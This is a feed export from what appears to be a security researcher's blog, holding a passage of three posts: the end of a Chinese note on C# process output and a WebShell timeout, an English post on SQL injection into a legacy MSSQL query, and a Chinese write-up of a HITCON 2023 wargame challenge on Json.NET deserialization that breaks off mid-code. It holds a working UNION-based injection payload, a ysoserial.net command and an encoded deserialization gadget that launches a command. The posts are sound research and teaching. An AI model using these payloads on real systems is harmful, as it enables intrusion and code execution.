stderr&#xFF0C;&#x4E5F;&#x5C31;&#x662F; <code>dir C:\windows\system32 1&gt;&amp;2</code> &#x5C31;&#x53EF;&#x4EE5;&#x8B93; WebShell timeout&#x3002;</p><p>&#x7E3D;&#x7D50;&#x4F86;&#x8AAA;&#xFF0C;&#x5728; C# / .NET &#x4E2D;&#x8981;&#x4F7F;&#x7528; <code>System.Diagnostics.Process</code> &#x4EE5;&#x53CA; <code>System.Diagnostics.ProcessStartInfo.RedirectStandardOutput = true</code> &#x4F86;&#x8B80;&#x53D6;&#x5B50;&#x7A0B;&#x5E8F;&#x7684; StandardOutput &#x6642;&#xFF0C;&#x6700;&#x6B63;&#x78BA;&#x65B9;&#x5F0F;&#x662F;&#x4F7F;&#x7528; <code>System.Diagnostics.Process.OutputDataReceived</code> &#x7570;&#x6B65;&#x4E8B;&#x4EF6;&#x4F86;&#x8B80;&#x53D6;&#x8F38;&#x51FA;&#xFF0C;&#x800C;&#x8655;&#x7406; StandardError &#x6642;&#x4E5F;&#x4EA6;&#x540C;&#xFF0C;&#x642D;&#x914D; WaitForExit &#x5BE6;&#x4F5C; timeout &#x6A5F;&#x5236;&#x6642;&#x4E5F;&#x5FC5;&#x9808;&#x4F7F;&#x7528;&#x7570;&#x6B65;&#x8B80;&#x53D6;&#x3002;</p><p></p><p>&#x7D50;&#x8AD6;&#xFF0C;&#x539F;&#x4F86;&#x6211;&#x771F;&#x7684;&#x4E0D;&#x6703;&#x5BEB; C# &#x554A;&#xFF01;</p>]]></content:encoded></item><item><title><![CDATA[No Database No Table, how do you do MSSQL Injection?]]></title><description><![CDATA[<p>One day, while reviewing the code of an ASP.NET website, I came across a special case of SQL Injection with Microsoft SQL Server, basically the form of SQL Injection is like this:</p><pre><code class="language-C#">string sql = string.Format(
    &quot;SELECT ReportsDB..{0}.* &quot; +
    &quot;FROM ReportsDB..{0} &quot; + 
    &quot;WHERE ReportsDB.</code></pre>]]></description><link>https://cyku.tw/no-database-mssql-injection/</link><guid isPermaLink="false">667a79a716a1680cba190ba7</guid><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Sun, 04 Aug 2024 08:05:05 GMT</pubDate><content:encoded><![CDATA[<p>One day, while reviewing the code of an ASP.NET website, I came across a special case of SQL Injection with Microsoft SQL Server, basically the form of SQL Injection is like this:</p><pre><code class="language-C#">string sql = string.Format(
    &quot;SELECT ReportsDB..{0}.* &quot; +
    &quot;FROM ReportsDB..{0} &quot; + 
    &quot;WHERE ReportsDB..{0}.Id = 1 &quot;
, Request[&quot;table&quot;]);
// ReportsDB doesn&apos;t exist</code></pre><p>The first time I saw it, I thought it was just a simple SQL Injection that I could exploit as usual, I could be wrong. This code was found in a legacy API, there&apos;s actually no database called &quot;ReportsDB&quot; in that MSSQL server. If we try to inject stacked query, MSSQL will just respond error and won&apos;t execute the second query, because &quot;ReportsDB&quot; dosen&apos;t exist.</p><pre><code>1&gt; select ReportsDB..foobar; waitfor delay &apos;00:00:03&apos;; -- .*
2&gt; go
Msg 4104, Level 16, State 1, Server 38edaa74cb29, Line 1
The multi-part identifier &quot;ReportsDB..foobar&quot; could not be bound.</code></pre><p>Then I tried to use subquery to create a table called &quot;ReportsDB&quot; but got error again.</p><pre><code>1&gt; select ReportsDB..foobar from (select 1 as foobar) as ReportsDB;
2&gt; go
Msg 207, Level 16, State 1, Server 38edaa74cb29, Line 1
Invalid column name &apos;&apos;.</code></pre><p>&quot;Invalid column name&quot; is an interesting result, it means that MSSQL considers &quot;ReportsDB..foobar&quot; to be <code>&lt;table_name&gt;.&lt;column_name&gt;.&lt;something&gt;</code> instead of <code>&lt;database_name&gt;.&lt;schema_name&gt;.&lt;column_name&gt;</code>. The database_name is ReportsDB and column_name is an empty string now, the next question which I was thinking is that &quot;Can I define a column_name with empty string using AS statement?&quot;. The answer is NO.</p><pre><code>1&gt; select ReportsDB..foobar from (select 1 as &apos;&apos;) as ReportsDB;
2&gt; go
Msg 1038, Level 15, State 4, Server 38edaa74cb29, Line 1
An object or column name is missing or empty. For SELECT INTO statements, verify each column has a name. For other statements, look for empty alias names. Aliases defined as &quot;&quot; or [] are not allowed. Change the alias to a valid name.

1&gt; select ReportsDB..foobar from (select 1 as []) as ReportsDB;
2&gt; go
Msg 1038, Level 15, State 4, Server 38edaa74cb29, Line 1
An object or column name is missing or empty. For SELECT INTO statements, verify each column has a name. For other statements, look for empty alias names. Aliases defined as &quot;&quot; or [] are not allowed. Change the alias to a valid name.</code></pre><p>I also tried to create a column called &quot;.foobar&quot;, which is a valid column name, but MSSQL never considers that the second dot of &quot;ReportsDB..foobar&quot; is the part of the column name.</p><pre><code>1&gt; select ReportsDB..foobar from (select 1 as [.foobar]) as ReportsDB;
2&gt; go
Msg 207, Level 16, State 1, Server 38edaa74cb29, Line 1
Invalid column name &apos;&apos;.</code></pre><p>It seems to end, but it can&apos;t be, can it?</p><p><strong>Space Trimming to the Rescue</strong></p><p>In MSSQL, trailing whitespace is valid when defining column names, and it does work if the statement of SELECT uses a column name that contains trailing whitespace.</p><pre><code>1&gt; select [ReportsDB].[a ] from (select 1 as [a ]) as ReportsDB;
2&gt; go
a
-----------
          1

(1 rows affected)</code></pre><p>But what if without whitespace in the first SELECT? It still works ..</p><pre><code>1&gt; select [ReportsDB].[a] from (select 1 as [a ]) as ReportsDB;
2&gt; go
a
-----------
          1

(1 rows affected)</code></pre><p>Even more whitespaces.</p><pre><code>1&gt; select [ReportsDB].[a     ] from (select 1 as [a ]) as ReportsDB;
2&gt; go
a
-----------
          1

(1 rows affected)

1&gt; select [ReportsDB].[a     ] from (select 1 as [a]) as ReportsDB;
2&gt; go
a
-----------
          1

(1 rows affected)</code></pre><p>Apparently, MSSQL does some kind of trimming for whitespace when processing column names. So what if you just use a single whitespace as the column name? The answer is &quot;It still works&quot;.</p><pre><code>1&gt; select [ReportsDB].[ ] from (select 1 as [ ]) as ReportsDB;
2&gt; go

-----------
          1

(1 rows affected)</code></pre><p>MSSQL obviously does not allow you to use empty string in the <code>[]</code> expression in the SELECT statement. But wait a minute, do you remember what the SQL for the injection point looked like? </p><p>Well..</p><pre><code>1&gt; select ReportsDB..foobar from (select 1 as [ ]) as ReportsDB;
2&gt; go
Msg 258, Level 15, State 1, Server 38edaa74cb29, Line 1
Cannot call methods on int.</code></pre><p>IT WORKS.. </p><p>MSSQL accepts empty string as column name with <code>..</code> syntax. What&apos;s happening is that MSSQL considers <code>ReportsDB.</code> (empty string as column name) to be a valid field, <code>1</code> to be the value of this field, and <code>int</code> to be the date type of the field. It tried to look for a property named <code>foobar</code> under int data type but coudn&apos;t find it. The column name in the first SELECT is defined as an empty string, the column name in the subquery is defined as a whitespace, and MSSQL does some kind of whitespace trimming to assume that the two column names are the same, so it ends up working.</p><p>How do we define the property of a data type in SELECT?</p><p>In fact, we don&apos;t need to do this at all, why not just use existing objects in MSSQL? So I randomly chose a data type called <code>geometry</code> which has a lots of properies such as <code>STY</code>. In short, I constructed a SQL like the one below, and it worked perfectly!</p><pre><code>1&gt; select ReportsDB..STY from (select geometry::STGeomFromText(&apos;POINT(0 0)&apos;,0) as [ ]) as ReportsDB;
2&gt; go

------------------------
                     0.0

(1 rows affected)</code></pre><p>Finally, I managed to exploit this SQL Injection with a payload similar to the one below. What&apos;s even better is that it&apos;s UNION based.</p><pre><code>?table=STY as id, @@version as data from (select geometry::STGeomFromText(&apos;POINT(0 0)&apos;,0) as [ ]) as ReportsDB --  </code></pre><p></p><p>That&apos;s the short story I came across. MSSQL&apos;s T-SQL is very powerful, and there are probably more simple ways to exploit it, so it&apos;s always worth a try.</p>]]></content:encoded></item><item><title><![CDATA[HITCON 2023 x DEVCORE Wargame: My todolist Write-up]]></title><description><![CDATA[<p>&#x70BA;&#x4E86; HITCON 2023 &#x6D3B;&#x52D5;&#xFF0C;&#x6211;&#x4ECA;&#x5E74;&#x4E5F;&#x5728;&#x4F01;&#x696D;&#x6524;&#x4F4D;&#x4E0A;&#x6E96;&#x5099;&#x4E86;&#x4E09;&#x984C;&#x8DA3;&#x5473;&#x6027;&#x8CEA;&#x7684; Wargame &#x984C;&#x76EE;&#x8B93;&#x53C3;&#x8CFD;&#x8005;&#x5728;&#x807D;&#x5B8C;&#x8B70;&#x7A0B;&#x7684;&#x7A7A;&#x9592;&#x4E4B;&#x9918;&#x53EF;&#x4EE5;&#x4EAB;&#x53D7;&#x4E00;&#x4E0B;</p>]]></description><link>https://cyku.tw/hitcon-2023-devocre-wargame-mytodolist/</link><guid isPermaLink="false">6502705a16a1680cba1908f1</guid><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Mon, 18 Sep 2023 10:16:37 GMT</pubDate><content:encoded><![CDATA[<p>&#x70BA;&#x4E86; HITCON 2023 &#x6D3B;&#x52D5;&#xFF0C;&#x6211;&#x4ECA;&#x5E74;&#x4E5F;&#x5728;&#x4F01;&#x696D;&#x6524;&#x4F4D;&#x4E0A;&#x6E96;&#x5099;&#x4E86;&#x4E09;&#x984C;&#x8DA3;&#x5473;&#x6027;&#x8CEA;&#x7684; Wargame &#x984C;&#x76EE;&#x8B93;&#x53C3;&#x8CFD;&#x8005;&#x5728;&#x807D;&#x5B8C;&#x8B70;&#x7A0B;&#x7684;&#x7A7A;&#x9592;&#x4E4B;&#x9918;&#x53EF;&#x4EE5;&#x4EAB;&#x53D7;&#x4E00;&#x4E0B;&#x89AA;&#x81EA;&#x52D5;&#x624B;&#x89E3;&#x984C;&#x7684;&#x5FEB;&#x6A02;&#xFF0C;&#x800C;&#x9664;&#x4E86;&#x6211;&#x6240;&#x6E96;&#x5099;&#x7684;&#x984C;&#x76EE;&#x4EE5;&#x5916;&#xFF0C;&#x5305;&#x62EC;&#x5176;&#x4ED6;&#x6240;&#x6709;&#x984C;&#x76EE;&#x90FD;&#x53EF;&#x4EE5;&#x5728;&#x4EE5;&#x4E0B;&#x7684; GitHub repository &#x88E1;&#x627E;&#x5230;&#xFF1A;<a href="https://github.com/DEVCORE-Wargame/HITCON-2023">https://github.com/DEVCORE-Wargame/HITCON-2023</a>&#x3002;</p><p>&#x9019;&#x6B21;&#x6E96;&#x5099;&#x7684;&#x984C;&#x76EE;&#x5206;&#x5225;&#x662F; What&apos;s my IP&#x3001;Submit flag &#x548C; My todolist&#x3002;&#x7B2C;&#x4E00;&#x500B;&#x984C;&#x76EE; What&apos;s my IP &#x53EA;&#x8981;&#x770B;&#x7A0B;&#x5F0F;&#x78BC;&#x5C31;&#x6703;&#x77E5;&#x9053;&#x662F;&#x500B; HTTP header &#x507D;&#x9020; IP &#x52A0;&#x4E0A; SQL Injectin &#x5229;&#x7528;&#x7684;&#x7C21;&#x55AE;&#x984C;&#xFF0C;&#x53EA;&#x662F;&#x6D3B;&#x52D5;&#x671F;&#x9593;&#x53C3;&#x8CFD;&#x8005;&#x5011;&#x5F97;&#x6191;&#x8457;&#x7D93;&#x9A57;&#x8207;&#x99ED;&#x5BA2;&#x76F4;&#x89BA;&#x4EE5;&#x9ED1;&#x7BB1;&#x65B9;&#x5F0F;&#x627E;&#x51FA;&#x5F31;&#x9EDE;&#x7684;&#x5B58;&#x5728;&#x3002;&#x7B2C;&#x4E8C;&#x500B;&#x984C;&#x76EE; Submit flag &#x5C31;&#x662F;&#x4E00;&#x500B;&#x7D93;&#x5178;&#x7684; Race Condition&#xFF0C;&#x662F;&#x4E00;&#x500B;&#x8001;&#x6897;&#x4F46;&#x4E5F;&#x662F;&#x6EF2;&#x900F;&#x6E2C;&#x8A66;&#x4E2D;&#x7D93;&#x5E38;&#x88AB;&#x5FFD;&#x7565;&#x7684;&#x7D30;&#x7BC0;&#xFF0C;&#x70BA;&#x4E86;&#x63D0;&#x9AD8;&#x6210;&#x529F;&#x7387;&#x5F9E;&#x800C;&#x907F;&#x514D;&#x8B93;&#x53C3;&#x52A0;&#x8005;&#x6D6A;&#x8CBB;&#x592A;&#x591A;&#x6642;&#x9593;&#xFF0C;&#x6211;&#x7279;&#x5730;&#x5728;&#x4E2D;&#x9593;&#x63D2;&#x5165;&#x4E0D;&#x5FC5;&#x8981;&#x7684; sleep&#xFF0C;&#x96D6;&#x7136;&#x53EF;&#x80FD;&#x8B93;&#x984C;&#x76EE;&#x8B8A;&#x5F97;&#x904E;&#x65BC;&#x7C21;&#x55AE;&#xFF0C;&#x5E0C;&#x671B;&#x81F3;&#x5C11;&#x80FD;&#x63D0;&#x9192;&#x5927;&#x5BB6;&#x56DE;&#x60F3;&#x8D77;&#x9084;&#x5B58;&#x5728;&#x9019;&#x7A2E;&#x5F31;&#x9EDE;&#x5C31;&#x592A;&#x597D;&#x4E86;&#x3002;</p><p>&#x6700;&#x5F8C;&#x4E00;&#x500B;&#x984C;&#x76EE;&#x4E5F;&#x662F;&#x672C;&#x7BC7;&#x6587;&#x7AE0;&#x60F3;&#x8981;&#x548C;&#x5927;&#x5BB6;&#x5206;&#x4EAB;&#x7684;&#x4E3B;&#x984C;&#xFF1A;My todolist&#x3002;&#x5F9E;&#x7D50;&#x8AD6;&#x800C;&#x8A00;&#xFF0C;&#x9019;&#x662F;&#x4E00;&#x500B;&#x7C21;&#x55AE;&#x7684; Json.NET &#x53CD;&#x5E8F;&#x5217;&#x5316;&#x6F0F;&#x6D1E;&#x7684;&#x767D;&#x7BB1;&#x984C;&#x76EE;&#xFF0C;&#x5B58;&#x5728;&#x6F0F;&#x6D1E;&#x7684;&#x4F4D;&#x7F6E;&#x662F;&#x5728;&#x7A0B;&#x5F0F;&#x78BC; <a href="https://github.com/DEVCORE-Wargame/HITCON-2023/blob/main/challenges/web/My%20todolist/MyTodolist/MyTodolist/Extensions/WebExtension.cs#L20">Extensions/WebExtension.cs</a> &#x7684;&#x7B2C; 20 &#x884C;&#xFF0C;&#x4F46;&#x6211;&#x60F3;&#x7A0D;&#x5FAE;&#x548C;&#x5927;&#x5BB6;&#x5206;&#x4EAB;&#x984C;&#x76EE;&#x7684;&#x7531;&#x4F86;&#x3002;</p><p>&#x984C;&#x76EE;&#x8D77;&#x6E90;&#x65BC;&#x6211;&#x66FE;&#x7D93;&#x5728;&#x67D0;&#x4E9B;&#x7A0B;&#x5F0F;&#x4E2D;&#x770B;&#x904E;&#x985E;&#x4F3C;&#x4EE5;&#x4E0B;&#x7684; Deep Copy &#x5BE6;&#x4F5C;&#xFF1A;</p><pre><code class="language-CSharp">public static T Clone&lt;T&gt;(this T source) {
    JsonSerializerSettings settings = new JsonSerializerSettings() {
        TypeNameHandling = TypeNameHandling.All
    };
    return (T) JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);
}</code></pre><p>&#x6211;&#x5011;&#x90FD;&#x77E5;&#x9053;&#x7576; DeserializeObject &#x7684;&#x4F86;&#x6E90;&#x5B57;&#x4E32;&#x53EF;&#x4EE5;&#x63A7;&#x5236;&#x4E26;&#x4E14;&#x958B;&#x555F; TypeNameHandling &#x6642;&#xFF0C;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x8F15;&#x6613;&#x5229;&#x7528;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x80FD;&#x521D;&#x59CB;&#x5316;&#x4EFB;&#x610F;&#x7269;&#x4EF6;&#x7684;&#x7279;&#x6027;&#x57F7;&#x884C;&#x4EFB;&#x610F;&#x7A0B;&#x5F0F;&#x78BC;&#x6216;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#xFF0C;&#x7136;&#x800C;&#x5728; Deep Clone &#x7684;&#x4F7F;&#x7528;&#x60C5;&#x5883;&#x4E0B;&#xFF0C;&#x4F86;&#x6E90;&#x5B57;&#x4E32;&#x662F; SerializeObject &#x7684;&#x8F38;&#x51FA;&#x7D50;&#x679C;&#xFF0C;&#x9019;&#x4EE3;&#x8868;&#x8457;&#x4EFB;&#x4F55;&#x6A19;&#x8A18;&#x7269;&#x4EF6;&#x540D;&#x7A31;&#x7684; $type &#x5C6C;&#x6027;&#x4E5F;&#x662F;&#x7531; Json.NET &#x6240;&#x63A7;&#x5236;&#x800C;&#x975E;&#x7531;&#x6211;&#x5011;&#x63A7;&#x5236;&#xFF0C;&#x6240;&#x4EE5;&#x9019;&#x8868;&#x793A;&#x9019;&#x6BB5;&#x7A0B;&#x5F0F;&#x78BC;&#x61C9;&#x8A72;&#x662F;&#x7121;&#x6CD5;&#x88AB;&#x5229;&#x7528;&#x7684;&#x624D;&#x5C0D;&#xFF0C;&#x9664;&#x975E;&#xFF0C;&#x82E5;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x8986;&#x84CB; $type &#x5C6C;&#x6027;&#x7684;&#x8A71;&#x5462;&#xFF1F;</p><p>&#x9019;&#x500B;&#x7591;&#x554F;&#x52FE;&#x8D77;&#x4E86;&#x6211;&#x7684;&#x597D;&#x5947;&#x5FC3;&#xFF0C;&#x56E0;&#x6B64;&#x8B93;&#x6211;&#x6C7A;&#x5B9A;&#x9032;&#x884C;&#x4E00;&#x4E9B;&#x5617;&#x8A66;&#xFF0C;&#x7576;&#x6211;&#x5617;&#x8A66;&#x7528;&#x4EE5;&#x4E0B;&#x7A0B;&#x5F0F;&#x78BC;&#x5E8F;&#x5217;&#x5316;&#x4E00;&#x500B; Dictionary &#x7269;&#x4EF6;&#x6642;&#xFF0C;&#x6211;&#x5F97;&#x5230;&#x4E86;&#x4E00;&#x500B;&#x6709;&#x8DA3;&#x7684;&#x7D50;&#x679C;&#x3002;</p><pre><code class="language-CSharp"> Dictionary&lt;string, string&gt; source = new Dictionary&lt;string, string&gt;();
 source.Add(&quot;key&quot;, &quot;value&quot;);
 JsonSerializerSettings settings = new JsonSerializerSettings() {
     TypeNameHandling = TypeNameHandling.All
 };
 string result = JsonConvert.SerializeObject(source, settings);</code></pre><p>&#x7D50;&#x679C;&#xFF1A;</p><pre><code>{
    &quot;$type&quot;: &quot;System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib&quot;,
    &quot;key&quot;: &quot;value&quot;
}</code></pre><p>&#x7576;&#x6211;&#x5011;&#x5E8F;&#x5217;&#x5316; Dictionary &#x6642;&#xFF0C;&#x6211;&#x5011;&#x6240;&#x63D2;&#x5165;&#x7684;&#x4EFB;&#x4F55; key &#x548C; value &#x7684; pair &#x90FD;&#x548C; $type &#x5C6C;&#x6027;&#x503C;&#x5728;&#x540C;&#x4E00;&#x500B;&#x5C64;&#x7D1A;&#xFF0C;&#x90A3;&#x5047;&#x8A2D;&#x6211;&#x5011; Dictionary &#x5167;&#x542B;&#x6709;&#x503C;&#x70BA; &quot;$type&quot; &#x7684; key &#x6642;&#xFF0C;&#x6703;&#x767C;&#x751F;&#x4EC0;&#x9EBC;&#x4E8B;&#x60C5;&#xFF1F;</p><pre><code class="language-CSharp">Dictionary&lt;string, string&gt; source = new Dictionary&lt;string, string&gt;();
source.Add(&quot;$type&quot;, &quot;System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&quot;);
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);</code></pre><p>&#x6703;&#x5F97;&#x5230;&#x4E00;&#x500B;&#x4F8B;&#x5916;&#x932F;&#x8AA4;&#xFF1A;</p><p>&gt; Newtonsoft.Json.JsonSerializationException: &apos;Type specified in JSON &apos;System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&apos; is not compatible with &apos;System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&apos;. Path &apos;$type&apos;, line 1, position 236.&apos;</p><p>&#x82E5;&#x5EFA;&#x7ACB; debug &#x65B7;&#x9EDE;&#x5C07; JsonConvert.SerializeObject &#x7684;&#x7D50;&#x679C;&#x5B57;&#x4E32;&#x5370;&#x51FA;&#x4F86;&#x6703;&#x5F97;&#x5230;&#xFF1A;</p><pre><code class="language-JSON">{
    &quot;$type&quot;: &quot;System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib&quot;,
    &quot;$type&quot;: &quot;System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&quot;
}</code></pre><p>&#x5176;&#x5BE6;&#x5F9E;&#x9019;&#x6BB5;&#x932F;&#x8AA4;&#x8A0A;&#x606F;&#x5C31;&#x53EF;&#x4EE5;&#x731C;&#x6E2C;&#x51FA;&#x5927;&#x81F4;&#x51FA;&#x932F;&#x7684;&#x53EF;&#x80FD;&#x6027;&#xFF0C;&#x5982;&#x679C;&#x518D;&#x7A0D;&#x5FAE;&#x8FFD;&#x5165;&#x7A0B;&#x5F0F;&#x78BC;&#x5C31;&#x6703;&#x767C;&#x73FE;&#xFF0C;&#x6211;&#x5011;&#x8A2D;&#x5B9A;&#x7684;&#x7B2C;&#x4E8C;&#x500B; $type &#x78BA;&#x5BE6;&#x6210;&#x529F;&#x8B93; Json.NET &#x5617;&#x8A66;&#x53BB;&#x8986;&#x84CB;&#x7B2C;&#x4E00;&#x500B; $type &#x6307;&#x5B9A;&#x7684;&#x7269;&#x4EF6;&#x985E;&#x578B;&#xFF0C;&#x4F46; Json.NET &#x5728;&#x9019;&#x6BB5;&#x7684;&#x8655;&#x7406;&#x6703;&#x6AA2;&#x67E5;&#x7B2C;&#x4E8C;&#x500B;&#x7269;&#x4EF6;&#x985E;&#x578B;&#x662F;&#x5426;&#x80FD;&#x5920;&#x76F8;&#x5BB9;&#x65BC;&#x7B2C;&#x4E00;&#x500B;&#x7269;&#x4EF6;&#x985E;&#x578B;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x6AA2;&#x67E5;&#x662F;&#x5426; assignable&#xFF0C;&#x82E5;&#x6211;&#x5011;&#x80FD;&#x627E;&#x5230;&#x67D0;&#x500B;&#x985E; Dictionary &#x7269;&#x4EF6;&#x53EF;&#x4EE5;&#x6210;&#x70BA; gadget &#x7684;&#x8A71;&#xFF0C;&#x9019;&#x6BB5;&#x7A0B;&#x5F0F;&#x78BC;&#x4E5F;&#x8A31;&#x5C07;&#x6210;&#x70BA; exploitable&#x3002;</p><p>&#x4F46;&#x8981;&#x6316;&#x6398;&#x65B0;&#x7684; gadget &#x5341;&#x5206;&#x56F0;&#x96E3;&#xFF0C;&#x800C;&#x4E14;&#x5C31;&#x7B97;&#x627E;&#x5230;&#x4E86;&#xFF0C;&#x8981;&#x4F5C;&#x70BA; Wargame &#x984C;&#x76EE;&#x4E5F;&#x53EF;&#x80FD;&#x904E;&#x65BC;&#x5201;&#x96E3;&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x9019;&#x908A;&#x627E;&#x5230;&#x4E86;&#x4E00;&#x7A2E;&#x8B8A;&#x7A2E;&#x60C5;&#x5883;&#xFF0C;&#x96D6;&#x7136;&#x662F;&#x4E0D;&#x5E38;&#x898B;&#x7684;&#x8A2D;&#x5B9A;&#xFF0C;&#x4F46;&#x6211;&#x89BA;&#x5F97;&#x4F5C;&#x70BA;&#x4E00;&#x9053;&#x984C;&#x76EE;&#x60C5;&#x5883;&#x7684;&#x8A71;&#x6703;&#x975E;&#x5E38;&#x6709;&#x8DA3;&#x3002;</p><p>&#x9019;&#x500B;&#x984C;&#x76EE;&#x60C5;&#x5883;&#x7684;&#x95DC;&#x9375;&#x662F; <a href="https://www.newtonsoft.com/json/help/html/deserializemetadatapropertyhandling.htm">MetadataPropertyHandling.ReadAhead</a> &#x9019;&#x500B;&#x8A2D;&#x5B9A;&#x503C;&#xFF0C;&#x7576;&#x63D0;&#x4F9B;&#x7D66; JsonConvert.DeserializeObject &#x7684; JsonSerializerSettings &#x4E2D;&#x6709;&#x5305;&#x542B; MetadataPropertyHandling.ReadAhead &#x6642;&#xFF0C;&#x5B83;&#x6703;&#x5047;&#x8A2D; $type &#x4E0D;&#x662F;&#x5728;&#x7B2C;&#x4E00;&#x500B;&#x5C6C;&#x6027;&#x503C;&#x7684;&#x4F4D;&#x7F6E;&#xFF0C;&#x9019;&#x6703;&#x5C0E;&#x81F4; Json.NET &#x5148;&#x5617;&#x8A66;&#x5F9E;&#x982D;&#x5230;&#x5C3E;&#x628A; JSON &#x89E3;&#x6790;&#x5B8C;&#x4E26;&#x627E;&#x51FA; $type &#x5F8C;&#x624D;&#x958B;&#x59CB;&#x5EFA;&#x7ACB;&#x7269;&#x4EF6;&#xFF0C;&#x5728;&#x6B64;&#x60C5;&#x5883;&#x4E0B;&#x4E5F;&#x6703;&#x8B93;&#x6211;&#x5011;&#x6CE8;&#x5165;&#x7684;&#x7B2C;&#x4E8C;&#x500B; $type &#x76F4;&#x63A5;&#x8986;&#x84CB;&#x7B2C;&#x4E00;&#x500B; $type &#x7684;&#x503C;&#xFF0C;&#x6240;&#x4EE5;&#x5047;&#x5982;&#x7A0B;&#x5F0F;&#x78BC;&#x6539;&#x5BEB;&#x70BA;&#x5982;&#x4E0B;&#x7684;&#x7A0B;&#x5F0F;&#x78BC;&#x6642;&#xFF0C;&#x9019;&#x500B; Clone function &#x5C07;&#x6703;&#x8B8A;&#x5F97; exploitable&#x3002;</p><pre><code class="language-CSharp">Dictionary&lt;string, string&gt; source = new Dictionary&lt;string, string&gt;();
source.Add(&quot;you control the key&quot;, &quot;you control the value&quot;);
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All,
    MetadataPropertyHandling = MetadataPropertyHandling.ReadAhead
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);</code></pre><p>&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x4F86;&#x5BE6;&#x969B;&#x5229;&#x7528;&#x4E00;&#x500B; gadget &#x9032;&#x884C; code execution &#x6E2C;&#x8A66;&#xFF0C;&#x9019;&#x908A;&#x6211;&#x4F7F;&#x7528; ysoserial.net &#x7522;&#x751F; RolePrincipal gadget &#x7684; payload ( <code>ysoserial.exe -g RolePrincipal -f Json.Net -c calc</code> )&#xFF0C;&#x56E0;&#x70BA;&#x9019;&#x500B; gadget &#x53EA;&#x9700;&#x8981;&#x63A7;&#x5236; JSON &#x4E00;&#x5C64;&#x7684;&#x5B57;&#x4E32;&#x5C31;&#x53EF;&#x4EE5;&#x57F7;&#x884C;&#x6307;&#x4EE4;&#xFF0C;&#x984C;&#x76EE;&#x60C5;&#x5883;&#x76F8;&#x5C0D;&#x5BB9;&#x6613;&#x5EFA;&#x69CB;&#x3002;</p><p>&#x6E2C;&#x8A66;&#x57F7;&#x884C;&#xFF1A;</p><pre><code class="language-CSharp">Dictionary&lt;string, string&gt; source = new Dictionary&lt;string, string&gt;();
source.Add(&quot;$type&quot;, &quot;System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&quot;);
source.Add(&quot;System.Security.ClaimsPrincipal.Identities&quot;, &quot;AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==&quot;);
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All,
